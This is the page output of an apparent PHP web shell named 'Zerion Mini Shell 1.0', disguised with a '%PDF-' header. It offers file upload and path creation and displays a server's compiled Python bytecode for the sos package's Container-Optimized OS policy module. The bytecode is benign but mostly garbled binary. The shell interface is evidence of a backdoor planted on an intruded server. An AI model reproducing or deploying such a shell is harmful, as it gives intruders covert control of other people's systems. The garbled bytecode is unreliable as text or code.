%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/policies/distros/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/policies/distros/__pycache__/cos.cpython-312.pyc

�

i��d��<�ddlmZmZddlmZd�ZGd�de�Zy)�)�	CosPlugin�IndependentPlugin)�LinuxPolicyc�f�|j�xs|j�jd�S)aHTest whether line is empty of contains a comment.

        Test whether the ``line`` argument is either blank, or a
        whole-line comment.

        :param line: the line of text to be checked.
        :returns: ``True`` if the line is blank or a comment,
                  and ``False`` otherwise.
        :rtype: bool
    �#)�strip�lstrip�
startswith)�lines �:/usr/lib/python3/dist-packages/sos/policies/distros/cos.py�_blank_or_commentr
s)���z�z�|��<�t�{�{�}�7�7��<�<�c�P��eZdZdZdZdgZeegZdZ			d�fd�	Z
edd��Z�xZ
S)	�	CosPolicyzContainer-Optimized OSzGoogle Cloud Platform)zDistribution Websitez0https://cloud.google.com/container-optimized-os/z</usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbinc�h��tt|�||||��|xjtgz
c_y)N)�sysroot�init�
probe_runtime�remote_exec)�superr�__init__�valid_subclasses)�selfrrrr�	__class__s     �rrzCosPolicy.__init__'s7���
�i��'��d�6C�4?�	(�	A�	
���)��,�rc���|r|j|vS	tdd�5}td�|D��}|ddk(cddd�S#1swYyxYw#ttf$rYywxYw)Nz/etc/os-release�rc3�pK�|].}t|�s!|j�jd����0y�w)�=N)r
r�split)�.0rs  r�	<genexpr>z"CosPolicy.check.<locals>.<genexpr>5s2����"B�d�):�4�)@�#'�*�*�,�"4�"4�S�"9�"B�s�46�ID�cosF)�distro�open�dict�IOError�KeyError)�cls�remote�fp�
os_releases    r�checkzCosPolicy.check.sy����:�:��'�'�	��'��-�
1��!�"B�b�"B�B�
�!�$�'�5�0�
1�
1�
1����"�	��	�s-�A�A�	A�A�A�A�A �A )NNTN)�)�__name__�
__module__�__qualname__r$�vendor�vendor_urlsrrr�PATHr�classmethodr-�
__classcell__)rs@rrrsK���
%�F�
$�F�	=��K�"�#4�5��I�D�>B�!�-��
��
rrN)�sos.report.pluginsrr�sos.policies.distrosrr
r�rr�<module>r:s��<�,�=���r

Zerion Mini Shell 1.0